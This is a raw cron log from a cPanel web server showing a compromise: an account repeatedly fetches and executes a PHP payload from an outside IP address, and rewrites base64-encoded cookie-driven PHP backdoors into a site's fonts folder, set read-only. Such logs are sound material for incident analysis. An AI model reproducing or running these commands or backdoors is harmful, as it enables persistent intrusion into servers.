Aug 31 10:02:02 ip-184-168-122-23 CROND[9246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:03:01 ip-184-168-122-23 CROND[9357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:03:01 ip-184-168-122-23 CROND[9358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:03:01 ip-184-168-122-23 CROND[9356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:03:01 ip-184-168-122-23 CROND[9360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:04:01 ip-184-168-122-23 CROND[9452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:04:01 ip-184-168-122-23 CROND[9453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:04:01 ip-184-168-122-23 CROND[9456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:04:01 ip-184-168-122-23 CROND[9457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:04:01 ip-184-168-122-23 CROND[9459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:05:01 ip-184-168-122-23 CROND[9652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:05:01 ip-184-168-122-23 CROND[9653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:05:01 ip-184-168-122-23 CROND[9655]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:05:01 ip-184-168-122-23 CROND[9659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:05:01 ip-184-168-122-23 CROND[9661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:05:01 ip-184-168-122-23 CROND[9660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:05:01 ip-184-168-122-23 CROND[9663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:06:01 ip-184-168-122-23 CROND[9786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:06:01 ip-184-168-122-23 CROND[9787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:06:01 ip-184-168-122-23 CROND[9791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:06:01 ip-184-168-122-23 CROND[9790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:06:01 ip-184-168-122-23 CROND[9792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:07:01 ip-184-168-122-23 CROND[9911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:07:01 ip-184-168-122-23 CROND[9914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:07:01 ip-184-168-122-23 CROND[9912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:07:01 ip-184-168-122-23 CROND[9913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:08:01 ip-184-168-122-23 CROND[10029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:08:01 ip-184-168-122-23 CROND[10030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:08:01 ip-184-168-122-23 CROND[10032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:08:01 ip-184-168-122-23 CROND[10033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:08:01 ip-184-168-122-23 CROND[10031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:09:01 ip-184-168-122-23 CROND[10149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:09:01 ip-184-168-122-23 CROND[10150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:09:01 ip-184-168-122-23 CROND[10153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:09:01 ip-184-168-122-23 CROND[10154]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 10:09:01 ip-184-168-122-23 CROND[10157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:10:01 ip-184-168-122-23 CROND[10362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:10:01 ip-184-168-122-23 CROND[10363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:10:01 ip-184-168-122-23 CROND[10365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:10:01 ip-184-168-122-23 CROND[10368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:10:01 ip-184-168-122-23 CROND[10372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:10:01 ip-184-168-122-23 CROND[10374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:10:01 ip-184-168-122-23 CROND[10373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:10:01 ip-184-168-122-23 CROND[10375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:11:01 ip-184-168-122-23 CROND[10491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:11:01 ip-184-168-122-23 CROND[10492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:11:01 ip-184-168-122-23 CROND[10494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:11:01 ip-184-168-122-23 CROND[10493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:12:01 ip-184-168-122-23 CROND[10613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:12:01 ip-184-168-122-23 CROND[10616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:12:01 ip-184-168-122-23 CROND[10617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:12:01 ip-184-168-122-23 CROND[10615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:12:01 ip-184-168-122-23 CROND[10618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:13:01 ip-184-168-122-23 CROND[10729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:13:01 ip-184-168-122-23 CROND[10731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:13:01 ip-184-168-122-23 CROND[10730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:13:01 ip-184-168-122-23 CROND[10736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:14:01 ip-184-168-122-23 CROND[10877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:14:01 ip-184-168-122-23 CROND[10878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:14:01 ip-184-168-122-23 CROND[10883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:14:01 ip-184-168-122-23 CROND[10882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:14:01 ip-184-168-122-23 CROND[10884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
